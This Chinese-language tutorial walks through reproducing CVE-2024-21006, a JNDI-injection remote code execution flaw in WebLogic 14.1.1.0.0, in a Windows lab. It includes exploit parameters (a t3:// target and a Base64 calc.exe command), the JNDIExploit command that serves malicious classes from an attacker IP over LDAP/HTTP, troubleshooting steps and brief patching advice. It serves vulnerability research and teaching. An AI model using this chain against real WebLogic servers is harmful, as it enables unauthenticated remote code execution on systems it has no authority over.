手把手复现CVE-2024-21006:在Windows上用IDEA+JNDIExploit攻击WebLogic 14.1.1.0.0
从零构建WebLogic漏洞复现环境CVE-2024-21006实战指南当安全研究员在漏洞公告中看到CVE-2024-21006这个编号时眼睛往往会为之一亮——这代表着WebLogic中间件中一个危险的远程代码执行漏洞。本文将带你从环境搭建开始逐步完成整个漏洞复现过程最终实现命令执行。不同于简单的概念讲解我们会深入每个技术细节包括你可能遇到的各类坑及其解决方案。1. 环境准备构建漏洞复现基础复现CVE-2024-21006需要精心准备实验环境任何环节的版本不匹配都可能导致复现失败。我们需要特别注意以下几点JDK版本选择必须使用JDK 1.8u191或更早版本。新版本JDK对JNDI注入有防护机制会导致利用失败。建议使用jdk-8u181-windows-x64.exe这个经典版本。WebLogic安装官方提供的14.1.1.0.0安装包约1.2GB下载后运行通用安装程序。安装时注意选择开发模式而非生产模式取消所有安全增强选项记录下管理员密码测试时使用weblogic/weblogic123即可开发工具准备# 验证Java环境 java -version # 应显示类似以下信息 java version 1.8.0_181 Java(TM) SE Runtime Environment (build 1.8.0_181-b13)安装完成后通过http://localhost:7001/console访问管理控制台确认服务正常运行。2. 漏洞原理深度解析理解漏洞原理是成功复现的关键。CVE-2024-21006本质是一个JNDI注入漏洞攻击链涉及多个关键环节触发点WebLogic的T3/IIOP协议处理存在缺陷允许未经认证的请求注入点weblogic.application.naming.MessageDestinationReference类的lookup操作利用链攻击者控制LDAP服务器返回恶意对象WebLogic执行JNDI lookup时加载远程类恶意类的静态代码块或构造函数中的代码被执行关键突破点在于WebLogic对MessageDestinationObjectFactory的处理存在设计缺陷使得攻击者可以控制JNDI查找过程。与常见JNDI注入不同这个漏洞需要特定的上下文环境才能触发这也是复现时需要准备完整WebLogic源码而非仅依赖jar包的原因。3. 攻击工具链配置完整的攻击需要两个核心组件协同工作漏洞利用项目和LDAP恶意服务器。3.1 漏洞利用项目配置在IDEA中创建新项目选择Maven作为构建工具添加WebLogic完整源码作为依赖非仅weblogic.jar导入漏洞利用代码后需要修改以下关键参数// 修改目标地址 String target t3://192.168.1.100:7001; // 修改要执行的命令Base64编码 String cmd Y2FsYy5leGU; // calc.exe注意如果遇到ClassNotFound异常通常是因为依赖没有正确添加。需要确保weblogic.jar及其所有依赖库都在项目classpath中。3.2 JNDIExploit服务器配置从GitHub获取JNDIExploit工具后使用以下命令启动java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.50 -p 8888参数说明-i指定本机IP攻击机-p指定HTTP服务端口用于托管恶意class启动后应看到类似输出[] LDAP Server Start Listening on 1389... [] HTTP Server Start Listening on 8888...4. 完整攻击流程与排错按照正确顺序执行以下步骤首先启动JNDIExploit服务器在IDEA中运行漏洞利用项目观察WebLogic服务器反应常见问题及解决方案问题现象可能原因解决方法Connection refused目标服务未启动/防火墙阻挡检查WebLogic控制台是否可访问Invalid T3 header目标地址协议错误确保使用t3://前缀无calc弹出JDK版本过高降级到JDK 8u191或更早成功时你会在目标服务器上看到计算器程序弹出同时在JNDIExploit控制台看到类似日志[] Received LDAP Query:... [] Sending LDAP ResourceRef result...5. 防御建议与安全思考虽然我们复现了这个漏洞但在实际工作中安全防护同样重要。建议采取以下措施及时更新Oracle已发布补丁生产环境应立即升级网络隔离限制T3/IIOP协议的访问范围最小权限WebLogic服务应以低权限账户运行这个漏洞的复现过程让我深刻体会到中间件安全的重要性。在实际测试中我发现即使相同的配置在不同Windows系统上表现也可能不同特别是在涉及网络连接时。建议在虚拟机环境中进行测试并做好快照以便快速恢复。